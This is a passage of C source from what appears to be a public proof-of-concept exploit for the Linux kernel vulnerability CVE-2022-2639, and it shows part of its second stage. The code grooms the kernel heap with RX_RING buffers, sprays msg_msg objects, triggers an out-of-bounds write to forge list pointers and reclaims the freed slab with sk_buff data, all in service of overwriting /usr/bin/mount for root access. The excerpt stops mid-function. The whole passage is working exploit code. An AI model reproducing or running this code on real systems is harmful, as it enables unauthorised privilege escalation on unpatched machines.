Function exploit_step2

CVE-2022-2639/exploit.c:889–1051

exploit_step2() —— forge pipe_buffer->flags & overwrite "/usr/bin/mount"

}
// exploit_step2() —— forge pipe_buffer->flags & overwrite "/usr/bin/mount"
int exploit_step2() {
    char buff[0x1000];
// 4-1. heap fengshui: drain 0x1000~0x10000 to make next allocation adjacent (using RX_RING buffer)
    logd("[4-1] heap fengshui: drain 0x1000~0x10000 to make next allocation adjacent (using RX_RING buffer) ...");
    pagealloc_pad(1000, 0x1000);
    pagealloc_pad(500, 0x2000);
    pagealloc_pad(200, 0x4000);
    pagealloc_pad(200, 0x8000);
    pagealloc_pad(100, 0x10000);
// 4-2. spray 0x20 0x10000 RX_RING buffer and free half (odd index)
    int fengshui_skfd[fengshui_skfd_cnt];
    for (int i = 0; i < fengshui_skfd_cnt; i++)
        fengshui_skfd[i] = pagealloc_pad(1, 0x10000);

    for (int i = 1; i < fengshui_skfd_cnt; i += 2) {
        close(fengshui_skfd[i]);
        fengshui_skfd[i] = -1;
    }

// 4-3. spray 0x400 (msg_msg + msg_msgseg) -> (0x1000 + 0x400)
    logd("[4-3] spray 0x400 (msg_msg + msg_msgseg) -> (0x1000 + 0x400) ...");
    for (int i = 0; i < NUM_MSQIDS_1; i++) {
        msg_a->mtype = MTYPE_A;
        memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE);
        ((int *)msg_a->mtext)[0] = MSG_SIG;
        ((int *)msg_a->mtext)[1] = i;
        if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
            die("msgsnd() fail");
    }
// 4-4. free another half RX_RING buffer
    logd("[4-4] free another half RX_RING buffer ... ");
    for (int i = 0; i < fengshui_skfd_cnt; i += 1) {
        if (fengshui_skfd[i] > 0) {
            close(fengshui_skfd[i]);
            fengshui_skfd[i] = -1;
        }
    }
// 4-5. trigger OOB to forge msg_msg->m_list.next
    logd("[4-5] trigger OOB to forge msg_msg->m_list.next ...");
    uint64_t vuln_buf[] = {
        list2_uaf_msg_addr, // m_list.next
    };
    trigger_vuln(&vuln_buf, sizeof(vuln_buf));

// 4-6. 1st free the uaf msg_msg
    logd("[4-6] free uaf msg_msg from correct msqid (list2_leak_msqid)");
    if (msgrcv(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, list2_uaf_mtype, 0) < 0)
        die("[-] msgrcv() fail");

// 4-7. spary 4*32 sk_buff->data to take up the uaf msg_msg and forge header
    logd("[4-7] spray sk_buff->data to re-acquire the 0x400 slab freed by msg_msg");
    {
        memset(buff, 0, sizeof(buff));
        struct msg_msg *p = (struct msg_msg *)buff;
        p->m_list.next = list2_uaf_msg_addr;
        p->m_list.prev = list2_uaf_msg_addr;
        p->m_ts = 0x100;
        p->m_type = MTYPE_FAKE;